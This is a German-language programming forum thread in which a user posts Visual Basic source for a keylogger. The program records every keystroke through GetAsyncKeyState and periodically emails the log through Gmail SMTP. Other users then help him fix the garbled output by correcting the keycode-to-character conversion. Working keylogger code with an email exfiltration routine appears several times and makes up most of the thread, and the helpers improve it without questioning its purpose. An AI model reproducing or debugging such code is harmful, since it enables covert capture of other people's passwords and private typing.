Fragensteller
Visual Basic 2010 Express, Keylogger der mich eine Email sendet, Email sieht aber komisch aus.

Frage
-
Hallo Leute,
Ich habe Gestern einen Keylogger gemacht. Jetzt nicht böse werden, weil es war nur ein Test, ich benütze das Teil ja gar nicht. Aber egal, dieser Keylogger sendet mich eine Email um die soviel Zeit (weiß ich nicht genau) mit was ich alles in mein Keyboard eingetippt habe.
Jetzt wenn ich das hier eintippe,:
Hello Microsoft, what is going on here?
Hallo Microsoft, was geht hier ab?krieg ich das hier in meiner inbox:
¡HELLO ¡MICROSOFT¼ WHAT IS GOING ON HERE
¡HALLO ¡MICROSOFT¼ WAS GEHT HIER AB ¡Û&'Code von meinen Keylogger:
Imports System.Web<br/>Imports System.IO<br/>Imports System.Net.Mail<br/><br/>Public Class Form1<br/> Dim result As Integer<br/> Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer<br/><br/> Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load<br/><br/> End Sub<br/><br/> Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick<br/> For i = 1 To 255<br/> result = 0<br/> result = GetAsyncKeyState(i)<br/> If result = -32767 Then<br/> TextBox1.Text = TextBox1.Text + Chr(i)<br/> End If<br/> Next i<br/><br/> End Sub<br/><br/> Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick<br/> Dim mail As New MailMessage()<br/> Dim SmtpServer As New SmtpClient<br/> SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort")<br/> SmtpServer.Port = 587<br/> SmtpServer.Host = "smtp.gmail.com"<br/> SmtpServer.EnableSsl = True<br/> SmtpServer.EnableSsl = True<br/> mail.To.Add("Meine Email Adresse")<br/> mail.From = New MailAddress("Meine Email Adresse")<br/> mail.Subject = "Beliebig"<br/> mail.Body = TextBox1.Text<br/> SmtpServer.Send(mail)<br/> End Sub<br/>End Class
Bitte hilf mir,
MfG
Rafael
Alle Antworten
-
Hi,
Ich habe Gestern einen Keylogger gemacht. Jetzt nicht böse werden, weil es war nur ein Test, ich benütze das Teil ja gar nicht.
Aber egal, dieser Keylogger sendet mich eine Email um die soviel Zeit (weiß ich nicht genau) mit was ich alles in mein Keyboard eingetippt habe.
Kann ich mir beim besten Willen nicht vorstellen. Das ist vielleicht etwas ähnlich dem, was du effektiv erhältst, genau dasselbe ist es aber nicht.Jetzt wenn ich das hier eintippe,:
Hello Microsoft, what is going on here?
Hallo Microsoft, was geht hier ab?krieg ich das hier in meiner inbox:
¡HELLO ¡MICROSOFT¼ WHAT IS GOING ON HERE
¡HALLO ¡MICROSOFT¼ WAS GEHT HIER AB ¡Û&'
Code von meinen Keylogger:
Da der leider nicht lesbar ist, poste ihn bitte nochmal.
So oder so: Es dürfte am Encoding liegen. Du musst darauf achten, dass Du die Zeichen, die Du protokolliert hast, auch so gesendet werden. Welches Encoding das ist, kann ich dir so nicht sagen.
Aber schau dir mal das hier an (und experimentier ein wenig mit den Encodings rum):
http://msdn.microsoft.com/de-de/library/system.net.mail.mailmessage.bodyencoding.aspx
Gruß, Stefan
Microsoft MVP - Visual Developer ASP/ASP.NET
http://www.asp-solutions.de/ - Consulting, Development
http://www.aspnetzone.de/ - ASP.NET Zone, die ASP.NET Community -
Hallo,
Ich log mich oft mal auf YouTube ein und gucke mir ein paar Tuts über VB an, dass heißt nicht dass ich sofort leute hacken will oder den Keylogger zu bösen Zwecken benützen werde. Ich will ja nur ein bisl VB lernen.
P.S.
Ich bin noch nicht so gut in VB und ich weiß nicht wie ich diese Zeichenkodierung ändere.
Aber naja, hier ist der code:
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("Meine Email Adresse")
mail.From = New MailAddress("Meine Email Adresse")
mail.Subject = "Beliebig"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
End Class -
Hi,
Ich muss wirklick wissen wie ich diese komische zeichen in normale umsetze. wenn einer es weiß bitte hilf mir.
mail.BodyEncoding = System.Text.Encoding.GetEncoding( "ISO-8859-1" )
oder auch
mail.BodyEncoding = System.Text.Encoding.UTF8
oder irgendwas anderes.
Ich hab keinen Plan, was deine komische Timer Methode für Zeichen erhält. Ggfs. hakt es da schon bei der Erzeugung der Zeichen. Chr( ... ) ist sicherlich nicht das gelbe vom Ei, wenn man nicht weiß, was die Zahl da eigentlich bedeutet. Das darf dir aber jemand anderes erklären :)
Gruß, Stefan
Microsoft MVP - Visual Developer ASP/ASP.NET
http://www.asp-solutions.de/ - Consulting, Development
http://www.aspnetzone.de/ - ASP.NET Zone, die ASP.NET Community -
Hallo Stefan,
Ich will dich nicht nerven oder so, aber es hatt noch nicht funktioniert:
Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick Dim mail As New MailMessage() Dim SmtpServer As New SmtpClient SmtpServer.Credentials = New Net.NetworkCredential("meine email adresse", "mein passwort") SmtpServer.Port = 587 SmtpServer.Host = "smtp.gmail.com" SmtpServer.EnableSsl = True SmtpServer.EnableSsl = True mail.To.Add("meine email adresse") mail.From = New MailAddress("meine email adresse") mail.Subject = "Universal Keylogger" mail.Body = TextBox1.Text mail.BodyEncoding = System.Text.Encoding.GetEncoding("ISO-8859-1") SmtpServer.Send(mail) End Sub End Class
-
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next iHallo Rafael,
Du überprüfst von 1 bis 255, ob dieser Wert als KeyCode gedrückt wurde und wenn ja, wandelt Du den KeyCode als Ascii Zeichen um???
Was erwartest Du da bitte für ein (Ascii) Zeichen, wenn jemand die "Cursor hoch" oder die "F12" Taste drückt? Da mixt Du ein paar Sachen durcheinander: KeyCode <> AsciiCode. Da darfst Du Dich nicht wundern, wenn kryptische Zeichen ankommen.
Olaf Helper
* cogito ergo sum * errare humanum est * quote erat demonstrandum *
Wenn ich denke, ist das ein Fehler und das beweise ich täglich
Blog Xing -
Hallo Rafael,
du nutzt ja schon die User32.dll, da gibt es auch die ToAsciiEx Funktion, die einen KeyCode entgegen nimmt; mit der könntest Du es versuchen.
Ansonsten, da Du ja VB lernen möchtest, könntest Du Dir eine eigene Konverter-Funktion schreiben; das übt.
Olaf Helper
* cogito ergo sum * errare humanum est * quote erat demonstrandum *
Wenn ich denke, ist das ein Fehler und das beweise ich täglich
Blog Xing -
Hallo Olaf,
Danke dass du mich hilfst. Tut mir leid dass ich so viele Fragen stelle, aber wo platziere ich den "ToAsciiEx" funktion denn? Ich habe sie jetzt hier platziert(7te Linie, 14te Linie):
Ich krieg jetzt aber leere Emails??
Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Dim result As Integer Private Declare Function ToAscii Lib "user32" (ByVal vKey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = ToAscii(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick Dim mail As New MailMessage() Dim SmtpServer As New SmtpClient SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort") SmtpServer.Port = 587 SmtpServer.Host = "smtp.gmail.com" SmtpServer.EnableSsl = True SmtpServer.EnableSsl = True mail.To.Add("Meine Email Adresse") mail.From = New MailAddress("Meine Email Adresse") mail.Subject = "Universal Keylogger" mail.Body = TextBox1.Text mail.BodyEncoding = System.Text.Encoding.GetEncoding("ISO-8859-1") SmtpServer.Send(mail) End Sub End Class
-
Ich krieg jetzt aber leere Emails??
Auch das wundert mich jetzt eher weniger.
Du darfst natürlich nicht das Result der Abprüfung, ob der KeyCode gedrückt würde versuchen, in Ascii umzuwandelt; bei Erfolg ist der -32K, da kommt kein Ascii bei raus.
Du muss den KeyCode verwenden, das wäre Deine Variable i:
For i = 1 To 255 result = 0 If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(ToAscii(i)) End If Next i
Olaf Helper
* cogito ergo sum * errare humanum est * quote erat demonstrandum *
Wenn ich denke, ist das ein Fehler und das beweise ich täglich
Blog X -
Hallo Olaf,
ich kriegs einfach nicht hin, meine Emails bleiben leer...? Der Code sieht jetzt so aus:
Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Dim result As Integer Private Declare Function ToAscii Lib "user32" (ByVal vKey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(ToAscii(i)) End If Next i End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick Dim mail As New MailMessage() Dim SmtpServer As New SmtpClient SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort") SmtpServer.Port = 587 SmtpServer.Host = "smtp.gmail.com" SmtpServer.EnableSsl = True SmtpServer.EnableSsl = True mail.To.Add("Meine Email Adresse") mail.From = New MailAddress("Meine Email Adresse") mail.Subject = "Universal Keylogger" mail.Body = TextBox1.Text SmtpServer.Send(mail) End Sub Private Function ToAscii(ByVal i As Integer) As Integer Throw New NotImplementedException End Function Private Function GetAsyncKeyState() As Integer Throw New NotImplementedException End Function End Class
-
result = 0
If result = -32767 Then
Result fix auf 0 setzen und dann auf = -32k prüfen ... wann mag das wohl True ergeben? Da gab es doch mal ein result = GetAsyncKeyState(i) wo ist das denn ab geblieben? Und nimm bitte die aus user32.dll, nicht Deine mit der NotImplementedException.
Olaf Helper
* cogito ergo sum * errare humanum est * quote erat demonstrandum *
Wenn ich denke, ist das ein Fehler und das beweise ich täglich
Blog Xing